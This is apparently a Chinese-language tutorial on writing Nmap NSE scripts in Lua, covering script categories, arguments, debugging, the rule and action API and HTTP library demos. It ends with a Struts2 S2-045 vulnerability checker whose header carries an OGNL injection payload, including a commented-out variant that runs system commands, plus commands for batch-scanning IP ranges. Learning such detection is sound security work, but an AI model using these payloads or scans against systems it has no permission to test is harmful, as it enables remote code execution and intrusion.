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Referer:

- nmap官网api: <https://nmap.org/nsedoc/>
- <https://t0data.gitbooks.io/mysecuritybook/content/nse.html>
- 漏洞银行-顷旋 | Nmap脚本开发及主机扫描分析
<https://v.qq.com/x/page/o0538yluhgx.html?start=285>
- 如何利用NSE检测CVE漏洞 <https://www.freebuf.com/sectool/161664.html>

Nmap脚本简介

分类

当我们在机器上把Nmap安装完毕后，在安装目录下的script文件夹里会保存大量的NSE脚本。如果你使用的是Nmap 7.60 版本的话，目录下会有580个脚本，这些都是Nmap特有的，是基于lua语言编写的。

这些NSE脚本根据用途的不同，大致分类如下：

auth：负责处理鉴权证书（绕开鉴权）的脚本

broadcast：在局域网内探查更多服务开启状况，如dhcp/dns/sqlserver等服务

brute：提供暴力破解方式，针对常见的应用如http/snmp等

default：使用-sC或-A选项扫描时候默认的脚本，提供基本脚本扫描能力

discovery：对网络进行更多的信息，如SMB枚举、SNMP查询等

dos：用于进行拒绝服务攻击

exploit：利用已知的漏洞入侵系统

external：利用第三方的数据库或资源，例如进行whois解析

fuzzer: 模糊测试的脚本, 发送异常的包到目标机, 探测出潜在漏洞 **intrusive**: 入侵性的脚本, 此类脚本可能引发对方的IDS/IPS的记录或屏蔽

malware: 探测目标机是否感染了病毒、开启了后门等信息

safe: 此类与intrusive相反, 属于安全性脚本

version: 负责增强服务与版本扫描 (Version Detection) 功能的脚本

vuln: 负责检查目标机是否有常见的漏洞 (Vulnerability), 如是否有MS08_067

基本使用

```
// 指定某个脚本进行扫描
$ nmap --script http-title scanme.nmap.org

// 指定脚本分类auth
$ nmap --script auth scanme.nmap.org

// 指定脚本文件路径
nmap --script /usr/local/nmap/script/http-title.nse scanme.nmap.org

// 指定脚本文件夹, 例如, 执行script目录下custom文件夹中的所有的脚本
nmap --script /usr/local/nmap/script/custom/ scanme.nmap.org

// 使用表达式, 执行script目录中以http开头的脚本
nmap --script "http-*" scanme.nmap.org
```

Nmap 脚本参数使用

Nmap在执行脚本时, 通常需要指定一些其他的参数, 比如说, 保持http会话的cookie, 躲过服务器UA检测的UserAgent设置

使用方式:

1. 直接使用script-args参数指定值

demo: 指定客户端请求的UA类型为Mozilla

```
nmap --script http-title.nse --script-args http.useragent="Mozilla/4.0" scanme.nmap.org
```

2. 加载脚本参数文件 这种使用方式是, 提前将需要使用的脚本参数值保存在文件中, 当在Nmap命令行中调用时直接指向文件所在即可。 此方法适用于多参数的设置。

例如, 指定从args.txt中读取

```
nmap --script http-title.nse --script-args-file args.txt scanme.nmap.org
```

而args.txt中的内容如下：

```
http.useragent=Mozilla/4.0 http.max-connections=50 uri=/app
```

debug的使用

在使用NSE脚本过程中，我们经常需要使用debug来跟踪和分析脚本执行的情况。这时候就需要用到NSE的debug功能。如果你想分析数据的发送和接受，将会使用到--script-trace参数

```
nmap --script http-title.nse --script-trace scanme.nmap.org
```

NSE api

Referer: <https://nmap.org/book/nse-api.html>

nse脚本遵循nmap api规范，其包含三部分内容，其中一开头的行为注释内容。

```
-- The Head Section --  
-- The Rule Section --  
portrule = function(host, port)  
  return port.protocol == "tcp" and port.number == 80 and port.state == "open"  
end  
-- The Action Section --  
action = function(host, port)  
  return "Hello world"  
end
```

The Head Section

该部分包含一些元数据，主要描述脚本的功能，作者，影响力，类别及其他。

The Rule Section

该部分定义脚本的一些规则，至少包含下面列表中的一个函数：

```
变量名称 函数执行顺序  
prerule()    最先执行  
hostrule(host) 第二步执行  
portrule(host, port) 第二步执行  
postrule()    最后一步执行
```

The Action Section

该部分定义脚本逻辑，即满足条件后执行的内容，比如上面例子为输出helloworld。

Nmap扩展主要由以下几个变量构成。编码方式：变量绑定函数

顺序为：Prerule -> Hostrule or Portrule -> Action -> Postrule

当 Hostrule 或者 Portrule 的绑定函数返回true的时候，都会执行一次Action的绑定函数。

demo: 简单输出

```
-- 简单的输出测试脚本

postrule = function()
    print("postrule")
end

prerule = function()
    print("prerule")
end

hostrule = function(host)
    print("hostrule:" .. host.ip)
    return true
end

portrule = function(host,port)
    if(port.state == "open") then
        print("portrule : this " ..host.ip .. " open " .. port.number)
    end
    return true
end

action = function(host,port)
    print("action:" .. host.ip)
end
```

```
C:\Users\lj>nmap --script=test 127.0.0.1
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 21:57 ?D1ú±ê×?ê±??
prerule
Skipping SYN Stealth Scan against localhost (127.0.0.1) because Windows does not support scanning your own machine (localhost) this way.
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done
hostrule:127.0.0.1
action:127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up.

```

PORT	STATE	SERVICE
1/tcp	unknown	tcpmux
3/tcp	unknown	compressnet
4/tcp	unknown	unknown
6/tcp	unknown	unknown

调用内置库

<https://nmap.org/book/nse-api.html>

NSE脚本可以调用内置库，比如http库、shortport库、nmap库等。 导入方式：

```
local http = require "http"
local nmap = require "nmap"
local shortport = require "shortport"
```

http库

demo: 确认目标主机是否支持HEAD，如果支持则输出响应头

```
local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
    return false
end
portrule=function(host,port)
    if(port.number == 80) then
        return true
    end
    return false
end
action = function(host,port)
    local result
    local status = false
    status,result = http.can_use_head(host,port,404,"/")
    if(status) then
        http_info = stdnse.output_table()
        http_info.header = result.header
        http_info.version = result.version
        return http_info
    end
end
postrule=function()
end
```

```

root@Bistu /u/s/n/scripts# nmap --script=test1.nse www.bistu.edu.cn
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-27 22:36 CST
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 75.45% done; ETC: 22:36 (0:00:02 remaining)
Nmap scan report for www.bistu.edu.cn (222.249.130.141)
Host is up (0.00025s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
| test1:
|   header:
|     accept-ranges: bytes
|     content-type: text/html
|     content-length: 15238
|     etag: "5c763f2c-3b86"
|     connection: close
|     last-modified: Wed, 27 Feb 2019 07:41:32 GMT
|     date: Wed, 27 Feb 2019 14:36:34 GMT
|     server: nginx/1.14.0 (Ubuntu)
|   _ version: 1.1
| 443/tcp  open  https

```

demo: s2_045漏洞验证

环境搭建:

```

$ docker pull medicean/vulapps:s_struts2_s2-045

$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-045

wget https://github.com/Z-0ne/ScanS2-045-Nmap/blob/master/struts2-scan.nse

```

代码:s2_045.nse

```

description = [[
Struts2 S2-045 Checks
]]

---
-- nmap -script struts2-scan -sS -p 80,8080,81,82,83,84,85,86,87,88,8888,8088 -n -d ip -
oX outscan.xml
--
-- BeaconLab http://plcscan.org/blog/
---

categories = {"discovery", "safe"}
author = "Z-0ne"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

local http = require "http"
local target = require "target"
local shortport = require "shortport"
local stdnse = require "stdnse"
local table = require "table"

--use script to scan any open TCP port
portrule = function(host, port)

```

```

    return port.state == "open"
end

action = function(host, port)
    local output = stdnse.output_table()
    local options
    local payload = "%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#context.setMemberAccess(#dm))))).
(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).
(#o.println('Struts2S2045Checks!!!')).(#o.close())}"
    --local payload_cmd = "%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))))).(#cmd='whoami').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=
(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()))}"
    local useragent = "Mozilla/5.0"
    options = {header = {}, timeout = 15000}
    options["header"]["Content-type"] = payload
    options["header"]["User-Agent"] = useragent
    local response = http.get(host, port, "/", options)
    if response.status == 200 then
        if string.find(response.body, "Struts2S2045Checks") ~= nil then
            -- exclude index "php default phpinfo() page"
            if string.find(response.body, "phpinfo") == nil then
                --response: 0000 53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63
                Struts2S2045Chec
                -- 0010 6b 73 21 21 21 ks!!!
                if #response.body == 21 then
                    output["status"] = "S2-045-AChecks vuln21"
                    return output
                    --response: 0000 53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63
                    Struts2S2045Chec
                    -- 0010 6b 73 21 21 21 0a
                    ks!!!.
                elseif #response.body == 22 then
                    output["status"] = "S2-045-AChecks vuln22"
                    return output
                    --response: 0000 53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63
                    Struts2S2045Chec
                    -- 0010 6b 73 21 21 21 0d 0a
                    ks!!!..
                elseif #response.body == 23 then
                    output["status"] = "S2-045-AChecks vuln23"
                    return output
                elseif #response.body < 50 then
                    output["status"] = "S2-045-AChecks"
                    output["resplength"] = #response.body
                    return output
                else
                    output["status"] = "S2-045-AChecks lengtherror"

```

```

        output["resplength"] = #response.body
        return output
    end
end
end
end
if response.status == 302 or response.status == 301 then
    if response.location then
        local parseurl = http.parse_url(response.location[#response.location])
        --fix Location http://127.0.0.1/login.action to http://host:port/uri
        local response = http.get(parseurl.host,port,parseurl.path,options)
        if response.status == 200 then
            if string.find(response.body, "Struts2S2045Checks") ~= nil then
                if string.find(response.body, "phpinfo") == nil then
                    if #response.body == 21 then
                        output["status"] = "S2-045-BChecks vuln21"
                        return output
                    elseif #response.body == 22 then
                        output["status"] = "S2-045-BChecks vuln22"
                        return output
                    elseif #response.body == 23 then
                        output["status"] = "S2-045-BChecks vuln23"
                        return output
                    elseif #response.body < 50 then
                        output["status"] = "S2-045-BChecks"
                        output["resplength"] = #response.body
                        return output
                    else
                        output["status"] = "S2-045-BChecks lengtherror"
                        output["resplength"] = #response.body
                        return output
                    end
                end
            end
        end
    end
end
end
end
end
end
-- Debug
-- if response.status == 404 and response.body then
--     output["status"] = "S2-045-CChecks"
--     output["res"] = response.body
--     return output
-- end
end
end

```

扫描;

```
nmap --script=s2_045 59.65.78.183 -p8080-9000
```



```
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
root@Bistu /u/s/n/scripts# nmap --script=s2_045 59.64.78.183 -p8080-9000
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-27 23:03 CST
Nmap scan report for 59.64.78.183
Host is up (0.00046s latency).
Not shown: 920 closed ports
PORT      STATE SERVICE
8083/tcp  open  us-srv
| s2_045:
|_ status: S2-045-AChecks vuln22

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
root@Bistu /u/s/n/scripts#
```

批量扫描某个网段存在s2-045漏洞的情况。

```
nmap --script=s2_045 -p80-90,8000-9000 -iL ip.txt -T4|tee nmap.txt
```

一些常用的scripts 脚本

```
dns-zone-transfer.nse  dns域传送漏洞
```

```
// http-git http .git 泄露
```

```
nmap --script=http-git -p80-90,8000-9000 -T5 -iL /tmp/ip.txt |tee /tmp/nmap2.log
```

```
s2_045.nse
```

收集的一些nmap nse库

<https://github.com/cldrn/nmap-nse-scripts>

https://github.com/Rvn0xsy/nse_vuln

<https://github.com/scipag/vulscan>